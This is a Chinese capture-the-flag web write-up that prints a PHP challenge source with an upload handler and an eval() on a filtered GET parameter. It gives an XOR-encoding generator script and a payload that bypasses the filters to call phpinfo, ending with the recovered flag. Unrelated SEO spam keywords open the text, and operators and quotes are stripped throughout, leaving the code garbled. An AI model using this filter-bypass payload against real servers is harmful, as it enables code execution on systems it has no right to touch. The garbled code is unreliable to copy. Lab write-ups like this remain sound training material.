南阳网站推广方案,好听的建筑公司名字大全,seo零基础教学,免费做简历下载的网站进入靶场
代码审计
?php
// 定义函数get_the_flag#xff0c;功能是处理文件上传相关操作
function get_the_flag() {// 注释说明#xff1a;webadmin会每隔20分钟删除用户上传的文件$userdir upload/tmp_ . md5($_SERVER[REMOTE_ADDR]);// 检查用户目录…
进入靶场
代码审计
?php
// 定义函数get_the_flag功能是处理文件上传相关操作
function get_the_flag() {// 注释说明webadmin会每隔20分钟删除用户上传的文件$userdir upload/tmp_ . md5($_SERVER[REMOTE_ADDR]);// 检查用户目录是否存在如果不存在则创建if (!file_exists($userdir)) {mkdir($userdir);}// 检查是否有文件上传if (!empty($_FILES[file])) {$tmp_name $_FILES[file][tmp_name]; // 获取上传文件在服务器上的临时文件名$name $_FILES[file][name]; // 获取上传文件的原始文件名// 获取上传文件的扩展名$extension substr($name, strrpos($name, .) 1);// 检查扩展名是否包含ph不区分大小写如果包含则终止脚本执行if (preg_match(/ph/i, $extension)) die(^_^);// 检查上传文件内容是否包含?, 如果包含则终止脚本执行if (mb_strpos(file_get_contents($tmp_name), ?)! False) die(^_^);// 检查上传文件是否是有效的图像类型不是则终止脚本执行if (!exif_imagetype($tmp_name)) die(^_^);$path $userdir. / . $name; // 构建上传文件的目标路径// 尝试将上传文件从临时位置移动到目标位置move_uploaded_file($tmp_name, $path);print_r($path); // 打印文件的保存路径}
}// 从GET请求参数中获取名为_的参数值并赋值给变量$hhh
$hhh $_GET[_];// 如果$hhh没有值高亮显示当前文件内容
if (!$hhh) {highlight_file(__FILE__);
}// 如果$hhh的长度大于18终止脚本执行并输出提示信息
if (strlen($hhh) 18) {die(One inch long, one inch strong!);
}// 使用正则表达式检查$hhh是否包含特定字符集包括一些常见字符和控制字符等如果包含则终止脚本执行
if (preg_match(/[\x00- 0-9A-Za-z\\~_.,|[\x7F]/i, $hhh))die(Try something else!);// 获取$hhh中使用到的字符并以字符形式返回
$character_type count_chars($hhh, 3);
// 如果$character_type的长度大于12终止脚本执行并输出提示信息
if (strlen($character_type) 12) die(Almost there!);// 执行$hhh中的PHP代码存在严重的代码执行漏洞风险
eval($hhh);
? 实现了文件上传功能并对上传文件进行了一些限制和检查
条件好苛刻 ?php
// 初始化两个空字符串用于存储生成的内容
$l ;
$r ;
// 将字符串_GET拆分成字符数组
$argv str_split(_GET);
// 遍历字符数组中的每个字符
for ($i 0; $i count($argv); $i) {// 遍历0到254的整数for ($j 0; $j 255; $j) {// 将字符$j对应的ASCII码值与255进行按位异或操作然后转换回字符$k chr($j) ^ chr(255);// 如果异或结果与当前字符匹配if ($k $argv[$i]) {// 如果$j小于16在$r中添加十六进制表示时在前面补0if ($j 16) {$l. %ff;$r. %0. dechex($j);continue;}$l. %ff;$r. %. dechex($j);continue;}}
}
// 输出包含$l、字符$和$r的字符串
echo \{$l$r\};
? {%ff%ff%ff%ff%a0%b8%ba%ab} ?_${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();%ffphpinfo flag{dc834348-3be9-4eff-abc1-150000430933}